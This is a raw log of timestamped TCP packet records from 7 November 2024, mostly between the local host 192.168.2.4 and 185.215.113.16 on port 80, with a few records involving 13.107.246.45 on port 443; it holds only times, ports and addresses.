Nov 7, 2024 06:01:12.432379961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432393074 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432393074 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432405949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432418108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432420015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432429075 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432437897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432440996 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432454109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432466030 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432466030 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432492018 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432512999 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432539940 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432552099 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432589054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432594061 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432600975 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432611942 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432624102 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432626009 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432636023 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432652950 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432653904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432662010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432672024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432678938 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432686090 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432698011 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432706118 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432709932 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432724953 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432737112 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432765961 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432792902 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432805061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432841063 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432871103 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432904959 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432939053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432951927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.432976007 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432990074 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.432996988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433007956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433018923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433028936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433041096 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433052063 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433053017 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433085918 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433114052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433125019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433145046 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433167934 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433175087 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433186054 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433203936 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433214903 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433226109 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433226109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433238029 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433245897 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433269024 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433291912 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433315992 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433329105 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433339119 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433366060 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433388948 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433392048 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433404922 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433413982 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433425903 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433443069 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433484077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433495998 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433505058 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433533907 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433547974 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433856010 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433892965 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433903933 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433903933 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433916092 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433934927 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433945894 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433957100 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.433964014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433975935 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.433990955 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434000015 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434004068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434010983 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434017897 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434026957 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434030056 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434042931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434046030 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434077978 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434092999 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434156895 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434201956 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434206963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434217930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434251070 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434267998 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434313059 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434348106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434359074 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434370995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434391975 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434406042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434415102 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434423923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434437037 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434444904 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434448004 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434463024 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434473991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434478045 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434485912 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434495926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434511900 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434528112 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434540033 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434540987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434564114 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434575081 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434598923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434611082 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434623957 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434652090 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434659958 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434670925 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434672117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434684038 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434695959 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434699059 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434715986 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434730053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434793949 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434806108 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434815884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434850931 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434859991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434870958 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434881926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434892893 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434925079 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434931993 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434942961 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434954882 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434967995 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434986115 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.434995890 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.434998035 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435009956 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435024977 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435058117 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435223103 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435235023 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435245037 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435275078 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435288906 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435420036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435436964 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435448885 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435482979 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435512066 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435523987 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435534954 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435554981 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435574055 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435758114 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435770035 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435780048 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435792923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435803890 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435816050 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435836077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435843945 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435877085 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435895920 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435906887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435916901 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435944080 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435962915 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.435966969 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435985088 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.435997963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436002970 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436007023 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436022043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436034918 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436052084 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436074018 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436084986 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436103106 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436111927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436120033 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436144114 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436430931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436441898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436459064 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436469078 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436480045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436482906 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436496019 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436513901 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436594963 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436606884 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436616898 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436649084 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436669111 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436697960 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436758995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436769962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436806917 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436830997 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436858892 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436871052 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.436897993 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.436909914 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.437118053 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437129974 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437139988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437151909 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437164068 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437174082 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.437201977 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.437530041 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437541962 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437552929 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437572002 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437583923 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437594891 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437607050 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437611103 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.437633038 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.437865019 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437881947 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.437923908 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.438190937 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.438209057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.438221931 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.438240051 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.438271046 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.438272953 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.438308001 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.438899994 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.438914061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.438925028 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.438963890 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.438982964 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439011097 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439022064 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439032078 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439043045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439054012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439060926 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439066887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439089060 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439105034 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439133883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439146042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439156055 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439168930 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439177990 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439178944 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439192057 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439210892 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439224958 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439244986 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439248085 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439260006 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439282894 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439295053 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439388990 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439405918 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439418077 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439429045 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439440012 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439450026 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439452887 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439465046 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439476967 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439480066 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439486980 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439491987 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439501047 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439512014 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439531088 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439532995 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439570904 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439601898 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439601898 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439616919 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439657927 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439670086 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439680099 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439691067 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439702988 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439703941 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439719915 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439730883 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439739943 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439743042 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439753056 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439757109 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439768076 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439779043 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.439779043 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439806938 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.439824104 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.445219994 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.445290089 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.445369959 CET	49806	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.445671082 CET	49806	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.445693016 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.445712090 CET	49806	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.445719004 CET	443	49806	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.448620081 CET	49811	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.448647022 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.448884010 CET	49811	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.449080944 CET	49811	443	192.168.2.4	13.107.246.45
Nov 7, 2024 06:01:12.449095964 CET	443	49811	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.468198061 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.468238115 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.468250036 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.468286991 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.468297958 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.468308926 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.468350887 CET	80	49797	185.215.113.16	192.168.2.4
Nov 7, 2024 06:01:12.468352079 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.468415976 CET	49797	80	192.168.2.4	185.215.113.16
Nov 7, 2024 06:01:12.480420113 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.480490923 CET	443	49807	13.107.246.45	192.168.2.4
Nov 7, 2024 06:01:12.480643988 CET	49807	443	192.168.2.4	13.107.246.45
